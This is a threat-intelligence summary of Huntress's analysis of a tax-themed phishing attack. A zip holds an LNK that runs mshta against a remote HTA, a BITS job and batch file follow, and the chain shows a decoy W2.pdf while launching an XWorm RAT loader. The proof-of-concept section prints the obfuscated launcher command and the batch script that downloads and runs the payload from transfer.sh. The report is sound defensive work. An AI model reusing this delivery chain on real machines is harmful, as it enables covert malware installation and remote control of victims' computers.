# Gone Phishing: An Analysis of a Targeted User Attack

Tax-themed zip with LNK runs mshta to fetch HTA, BITS drops batch that shows decoy W2.pdf while launching XWorm RAT loader.

- Payout: Real-world hack
- Analysis by: Huntress
- Disclosed: 2023-08-17
- Write-up quality: 6/10
- Original: https://www.huntress.com/blog/gone-phishing-an-analysis-of-a-targeted-user-attack
- Library page: https://bugbountylibrary.com/r/blog%3Ahuntress-com-blog-gone-phishing-an-analysis-of-a-targeted-user-attack
- Tags: area:os domain:desktop impact:rce kind:incident platform:threat-intel tech:windows technique:chained vuln:command-injection

**Target:** Windows endpoint (LNK/HTA/BITS/PowerShell)
**Root cause:** Obfuscated LNK shortcut launches mshta against a remote HTA on transfer.sh, which creates a BITS job to fetch and run a batch file that downloads and executes the payload.
**Steps:**
1. User opens tax-themed zip containing `my tax.mp4` and LNK `tax_file`.
2. LNK runs obfuscated PowerShell: `. $env:C:\W*\S*2\m*h?a.* 'https[:]//transfer.sh/get/RzbMK13oyI/p.hta'`, resolving to `"C:\Windows\System32\mshta.exe" https[:]//transfer.sh/get/RzbMK13oyI/p.hta`.
3. HTA creates a BITS Client job to download and execute a batch file.
4. Batch downloads `W2.pdf` to `%temp%` and opens it as decoy.
5. Batch downloads `mail.zip`, expands to `%temp%\mail`, and runs `mail.com`.
6. `mail.com` GoLang loader drops and executes XWorm, creating scheduled task `mail` for persistence.
**How found:** Huntress analysts noticed a zip in the user's Downloads folder matching the user's routine tax-file workflow, then traced the LNK command, mshta execution, BITS job, and batch contents.
**Exploitation:** Phishing archive with tax lure; LNK→mshta→HTA→BITS→batch downloads decoy PDF shown to user while silently fetching and launching XWorm RAT loader; persistence via scheduled task named 'mail'.
**Insight:** LNK files inside business-expected archives (tax/W2) are a high-signal hunting point: check shortcut targets for mshta/transfer.sh and correlate BITS jobs with subsequent %temp% archive extraction.

## Proof of concept (copied exactly from the original report)

**Obfuscated LNK PowerShell command fetching HTA**

```
. $env:C:\W*\S*2\m*h?a.* 'https[:]//transfer.sh/get/RzbMK13oyI/p.hta'

When executed on the system, the command appears as follows:

"C:\Windows\System32\mshta.exe" https[:]//transfer.sh/get/RzbMK13oyI/p.hta
```

**Batch file downloading decoy PDF and mail.zip**

```
@echo off

set url=https://transfer.sh/<redacted>/mail.zip

set url2=https://transfer.sh/<redacted>/W2.pdf

powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri %url2% -OutFile %temp%\W2.pdf"

cd %temp%

start W2.pdf

powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri %url% -OutFile %temp%\mail.zip"

powershell -WindowStyle Hidden -Command "Expand-Archive -Path %temp%\mail.zip -DestinationPath %temp%\mail -Force"

cd %temp%\mail

start mail.com
```